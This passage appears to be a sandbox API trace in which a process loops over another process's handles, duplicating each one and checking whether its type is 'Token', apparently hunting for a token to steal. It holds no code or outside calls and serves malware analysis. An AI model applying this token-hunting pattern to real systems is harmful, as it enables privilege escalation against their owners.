hSourceProcessHandle=0x168, hSourceHandle=0x3d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.861] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.861] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.861] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.861] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.861] LocalFree (hMem=0x160a40) returned 0x0 [0196.861] CloseHandle (hObject=0x16c) returned 1 [0196.861] CloseHandle (hObject=0x168) returned 1 [0196.862] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.862] GetCurrentProcess () returned 0xffffffffffffffff [0196.862] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3dc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.862] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.862] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.862] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.862] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.862] LocalFree (hMem=0x160a40) returned 0x0 [0196.862] CloseHandle (hObject=0x16c) returned 1 [0196.862] CloseHandle (hObject=0x168) returned 1 [0196.862] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.862] GetCurrentProcess () returned 0xffffffffffffffff [0196.862] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3e0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.862] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.862] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.862] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.862] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.862] LocalFree (hMem=0x160a40) returned 0x0 [0196.862] CloseHandle (hObject=0x16c) returned 1 [0196.862] CloseHandle (hObject=0x168) returned 1 [0196.862] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.862] GetCurrentProcess () returned 0xffffffffffffffff [0196.862] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3e4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.863] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.863] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.863] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.863] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.863] LocalFree (hMem=0x160a40) returned 0x0 [0196.863] CloseHandle (hObject=0x16c) returned 1 [0196.863] CloseHandle (hObject=0x168) returned 1 [0196.863] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.863] GetCurrentProcess () returned 0xffffffffffffffff [0196.863] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3e8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.863] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.863] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.863] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.863] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.863] LocalFree (hMem=0x160a40) returned 0x0 [0196.863] CloseHandle (hObject=0x16c) returned 1 [0196.863] CloseHandle (hObject=0x168) returned 1 [0196.863] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.863] GetCurrentProcess () returned 0xffffffffffffffff [0196.863] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3f0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.863] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.863] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.863] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.864] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.864] LocalFree (hMem=0x160a40) returned 0x0 [0196.864] CloseHandle (hObject=0x16c) returned 1 [0196.864] CloseHandle (hObject=0x168) returned 1 [0196.864] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.864] GetCurrentProcess () returned 0xffffffffffffffff [0196.864] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.864] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.864] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.864] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.864] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.864] LocalFree (hMem=0x160a40) returned 0x0 [0196.864] CloseHandle (hObject=0x16c) returned 1 [0196.864] CloseHandle (hObject=0x168) returned 1 [0196.864] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.864] GetCurrentProcess () returned 0xffffffffffffffff [0196.864] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3f8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.864] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.864] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.864] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.864] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.864] LocalFree (hMem=0x160a40) returned 0x0 [0196.864] CloseHandle (hObject=0x16c) returned 1 [0196.864] CloseHandle (hObject=0x168) returned 1 [0196.865] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.865] GetCurrentProcess () returned 0xffffffffffffffff [0196.865] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3fc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.865] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.865] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.865] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.865] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.865] LocalFree (hMem=0x160a40) returned 0x0 [0196.866] CloseHandle (hObject=0x16c) returned 1 [0196.866] CloseHandle (hObject=0x168) returned 1 [0196.866] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.866] GetCurrentProcess () returned 0xffffffffffffffff [0196.866] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x404, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.866] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.866] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.866] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.866] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.866] LocalFree (hMem=0x160a40) returned 0x0 [0196.866] CloseHandle (hObject=0x16c) returned 1 [0196.866] CloseHandle (hObject=0x168) returned 1 [0196.866] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.867] GetCurrentProcess () returned 0xffffffffffffffff [0196.867] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x408, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.867] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.867] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.867] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.867] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.867] LocalFree (hMem=0x160a40) returned 0x0 [0196.867] CloseHandle (hObject=0x16c) returned 1 [0196.867] CloseHandle (hObject=0x168) returned 1 [0196.867] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.867] GetCurrentProcess () returned 0xffffffffffffffff [0196.867] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x40c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.867] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.867] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.867] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.867] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.867] LocalFree (hMem=0x160a40) returned 0x0 [0196.867] CloseHandle (hObject=0x16c) returned 1 [0196.867] CloseHandle (hObject=0x168) returned 1 [0196.867] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.867] GetCurrentProcess () returned 0xffffffffffffffff [0196.867] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x410, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.867] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.867] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.868] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.868] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.868] LocalFree (hMem=0x160a40) returned 0x0 [0196.868] CloseHandle (hObject=0x16c) returned 1 [0196.868] CloseHandle (hObject=0x168) returned 1 [0196.868] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.868] GetCurrentProcess () returned 0xffffffffffffffff [0196.868] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x414, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.868] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.868] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.868] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.868] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.868] LocalFree (hMem=0x160a40) returned 0x0 [0196.868] CloseHandle (hObject=0x16c) returned 1 [0196.868] CloseHandle (hObject=0x168) returned 1 [0196.868] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.868] GetCurrentProcess () returned 0xffffffffffffffff [0196.868] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x418, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.868] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.868] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.868] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.868] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.868] LocalFree (hMem=0x160a40) returned 0x0 [0196.868] CloseHandle (hObject=0x16c) returned 1 [0196.868] CloseHandle (hObject=0x168) returned 1 [0196.869] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.869] GetCurrentProcess () returned 0xffffffffffffffff [0196.869] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x41c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.869] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.869] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.869] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.869] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.869] LocalFree (hMem=0x160a40) returned 0x0 [0196.869] CloseHandle (hObject=0x16c) returned 1 [0196.869] CloseHandle (hObject=0x168) returned 1 [0196.869] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.869] GetCurrentProcess () returned 0xffffffffffffffff [0196.869] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x420, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.869] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.869] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.869] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.869] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.869] LocalFree (hMem=0x160a40) returned 0x0 [0196.869] CloseHandle (hObject=0x16c) returned 1 [0196.869] CloseHandle (hObject=0x168) returned 1 [0196.869] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.869] GetCurrentProcess () returned 0xffffffffffffffff [0196.869] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x424, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.869] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.869] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.870] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.870] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.870] LocalFree (hMem=0x160a40) returned 0x0 [0196.870] CloseHandle (hObject=0x16c) returned 1 [0196.870] CloseHandle (hObject=0x168) returned 1 [0196.870] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.870] GetCurrentProcess () returned 0xffffffffffffffff [0196.870] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x428, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.870] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.870] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.870] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.870] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.870] LocalFree (hMem=0x160a40) returned 0x0 [0196.870] CloseHandle (hObject=0x16c) returned 1 [0196.870] CloseHandle (hObject=0x168) returned 1 [0196.870] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.870] GetCurrentProcess () returned 0xffffffffffffffff [0196.870] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x42c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.870] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.870] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.870] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.870] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.870] LocalFree (hMem=0x160a40) returned 0x0 [0196.870] CloseHandle (hObject=0x16c) returned 1 [0196.871] CloseHandle (hObject=0x168) returned 1 [0196.871] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.871] GetCurrentProcess () returned 0xffffffffffffffff [0196.871] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x434, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.871] CloseHandle (hObject=0x168) returned 1 [0196.871] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.871] GetCurrentProcess () returned 0xffffffffffffffff [0196.871] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x438, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.871] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.871] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.871] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.871] RtlEqualUnicodeString (String1="Event", String2="Token", CaseInsensitive=1) returned 0 [0196.871] LocalFree (hMem=0x160a40) returned 0x0 [0196.871] CloseHandle (hObject=0x16c) returned 1 [0196.871] CloseHandle (hObject=0x168) returned 1 [0196.871] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.871] GetCurrentProcess () returned 0xffffffffffffffff [0196.871] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x43c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.871] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.871] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.871] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.871] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.871] LocalFree (hMem=0x160a40) returned 0x0 [0196.871] CloseHandle (hObject=0x16c) returned 1 [0196.871] CloseHandle (hObject=0x168) returned 1 [0196.872] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.872] GetCurrentProcess () returned 0xffffffffffffffff [0196.872] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x440, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.872] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.872] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.872] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.872] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.872] LocalFree (hMem=0x160a40) returned 0x0 [0196.872] CloseHandle (hObject=0x16c) returned 1 [0196.872] CloseHandle (hObject=0x168) returned 1 [0196.872] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.872] GetCurrentProcess () returned 0xffffffffffffffff [0196.872] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x444, hTargetProcessHandle=0xffffffffffffffff, 